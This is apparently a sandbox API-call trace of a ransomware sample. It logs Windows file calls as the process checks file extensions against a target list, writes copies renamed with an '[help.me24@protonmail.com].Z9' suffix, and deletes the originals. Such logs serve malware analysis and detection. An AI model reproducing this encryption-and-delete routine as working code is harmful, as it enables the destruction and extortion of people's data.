	[0095.180] lstrlenW (lpString=".1cd") returned 4
	[0095.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.180] lstrlenW (lpString=".jpg") returned 4
	[0095.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.180] lstrlenW (lpString=".doc") returned 4
	[0095.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.180] lstrlenW (lpString=".docx") returned 5
	[0095.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.181] lstrlenW (lpString=".pdf") returned 4
	[0095.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.181] lstrlenW (lpString=".xls") returned 4
	[0095.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.181] lstrlenW (lpString=".xlsx") returned 5
	[0095.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.181] lstrlenW (lpString=".ppt") returned 4
	[0095.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.181] lstrlenW (lpString=".zip") returned 4
	[0095.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.181] lstrlenW (lpString=".rar") returned 4
	[0095.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.181] lstrlenW (lpString=".bz2") returned 4
	[0095.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.181] lstrlenW (lpString=".7z") returned 3
	[0095.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.181] lstrlenW (lpString=".dbf") returned 4
	[0095.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.181] lstrlenW (lpString=".1cd") returned 4
	[0095.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0095.181] lstrlenW (lpString=".jpg") returned 4
	[0095.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.181] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.181] lstrlenW (lpString="HM00114_.WMF") returned 12
	[0095.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.724] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=22116) returned 1
	[0095.724] CloseHandle (hObject=0x358) returned 1
	[0095.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220
	[0095.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.725] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.725] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0095.725] GetLastError () returned 0x0
	[0095.726] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x5664, lpOverlapped=0x0) returned 1
	[0095.727] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x5670, lpOverlapped=0x0) returned 1
	[0095.728] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.728] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.728] SetEndOfFile (hFile=0x390) returned 1
	[0095.729] CloseHandle (hObject=0x390) returned 1
	[0095.729] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.729] SetEndOfFile (hFile=0x358) returned 1
	[0095.730] CloseHandle (hObject=0x358) returned 1
	[0095.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1
	[0095.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.730] lstrlenW (lpString=".doc") returned 4
	[0095.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.730] lstrlenW (lpString=".docx") returned 5
	[0095.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.730] lstrlenW (lpString=".pdf") returned 4
	[0095.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.730] lstrlenW (lpString=".xls") returned 4
	[0095.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.730] lstrlenW (lpString=".xlsx") returned 5
	[0095.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.730] lstrlenW (lpString=".ppt") returned 4
	[0095.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.730] lstrlenW (lpString=".zip") returned 4
	[0095.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.731] lstrlenW (lpString=".rar") returned 4
	[0095.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString=".bz2") returned 4
	[0095.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString=".7z") returned 3
	[0095.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.731] lstrlenW (lpString=".dbf") returned 4
	[0095.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.731] lstrlenW (lpString=".1cd") returned 4
	[0095.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.731] lstrlenW (lpString=".jpg") returned 4
	[0095.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.731] lstrlenW (lpString=".doc") returned 4
	[0095.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString=".docx") returned 5
	[0095.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.731] lstrlenW (lpString=".pdf") returned 4
	[0095.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString=".xls") returned 4
	[0095.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.731] lstrlenW (lpString=".xlsx") returned 5
	[0095.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.731] lstrlenW (lpString=".ppt") returned 4
	[0095.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.731] lstrlenW (lpString=".zip") returned 4
	[0095.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.731] lstrlenW (lpString=".rar") returned 4
	[0095.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.731] lstrlenW (lpString=".bz2") returned 4
	[0095.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.732] lstrlenW (lpString=".7z") returned 3
	[0095.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.732] lstrlenW (lpString=".dbf") returned 4
	[0095.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.732] lstrlenW (lpString=".1cd") returned 4
	[0095.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0095.732] lstrlenW (lpString=".jpg") returned 4
	[0095.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.732] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.732] lstrlenW (lpString="HM00172_.WMF") returned 12
	[0095.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.733] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2832) returned 1
	[0095.733] CloseHandle (hObject=0x358) returned 1
	[0095.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220
	[0095.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.733] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.733] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0095.734] GetLastError () returned 0x0
	[0095.734] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xb10, lpOverlapped=0x0) returned 1
	[0095.735] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xb20, lpOverlapped=0x0) returned 1
	[0095.736] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.736] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.736] SetEndOfFile (hFile=0x390) returned 1
	[0095.736] CloseHandle (hObject=0x390) returned 1
	[0095.736] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.736] SetEndOfFile (hFile=0x358) returned 1
	[0095.737] CloseHandle (hObject=0x358) returned 1
	[0095.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1
	[0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.738] lstrlenW (lpString=".doc") returned 4
	[0095.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.738] lstrlenW (lpString=".docx") returned 5
	[0095.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.738] lstrlenW (lpString=".pdf") returned 4
	[0095.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.738] lstrlenW (lpString=".xls") returned 4
	[0095.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.738] lstrlenW (lpString=".xlsx") returned 5
	[0095.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.738] lstrlenW (lpString=".ppt") returned 4
	[0095.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.738] lstrlenW (lpString=".zip") returned 4
	[0095.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.738] lstrlenW (lpString=".rar") returned 4
	[0095.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.738] lstrlenW (lpString=".bz2") returned 4
	[0095.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.738] lstrlenW (lpString=".7z") returned 3
	[0095.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.738] lstrlenW (lpString=".dbf") returned 4
	[0095.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.738] lstrlenW (lpString=".1cd") returned 4
	[0095.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.738] lstrlenW (lpString=".jpg") returned 4
	[0095.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.739] lstrlenW (lpString=".doc") returned 4
	[0095.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString=".docx") returned 5
	[0095.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.739] lstrlenW (lpString=".pdf") returned 4
	[0095.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString=".xls") returned 4
	[0095.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.739] lstrlenW (lpString=".xlsx") returned 5
	[0095.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.739] lstrlenW (lpString=".ppt") returned 4
	[0095.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.739] lstrlenW (lpString=".zip") returned 4
	[0095.739] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.739] lstrlenW (lpString=".rar") returned 4
	[0095.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString=".bz2") returned 4
	[0095.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString=".7z") returned 3
	[0095.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.739] lstrlenW (lpString=".dbf") returned 4
	[0095.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.739] lstrlenW (lpString=".1cd") returned 4
	[0095.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68
	[0095.739] lstrlenW (lpString=".jpg") returned 4
	[0095.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.740] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.740] lstrlenW (lpString="HM00426_.WMF") returned 12
	[0095.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.740] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=68776) returned 1
	[0095.740] CloseHandle (hObject=0x358) returned 1
	[0095.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220
	[0095.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0095.740] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.740] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0095.741] GetLastError () returned 0x0
	[0095.741] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x10ca8, lpOverlapped=0x0) returned 1
	[0095.743] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x10cb0, lpOverlapped=0x0) returned 1
	[0095.745] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.745] WriteFile (in: hFile=0x390, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.745] SetEndOfFile (hFile=0x390) returned 1
	[0095.745] CloseHandle (hObject=0x390) returned 1
	[0095.746] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.746] SetEndOfFile (hFile=0x358) returned 1
	[0095.747] CloseHandle (hObject=0x358) returned 1
	[0095.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1
	[0095.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.747] lstrlenW (lpString=".doc") returned 4
	[0095.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.747] lstrlenW (lpString=".docx") returned 5
	[0095.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.747] lstrlenW (lpString=".pdf") returned 4
	[0095.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.747] lstrlenW (lpString=".xls") returned 4
	[0095.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.747] lstrlenW (lpString=".xlsx") returned 5
	[0095.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.748] lstrlenW (lpString=".ppt") returned 4
	[0095.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.748] lstrlenW (lpString=".zip") returned 4
	[0095.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.748] lstrlenW (lpString=".rar") returned 4
	[0095.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString=".bz2") returned 4
	[0095.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString=".7z") returned 3
	[0095.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
	[0095.748] lstrlenW (lpString=".dbf") returned 4
	[0095.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68
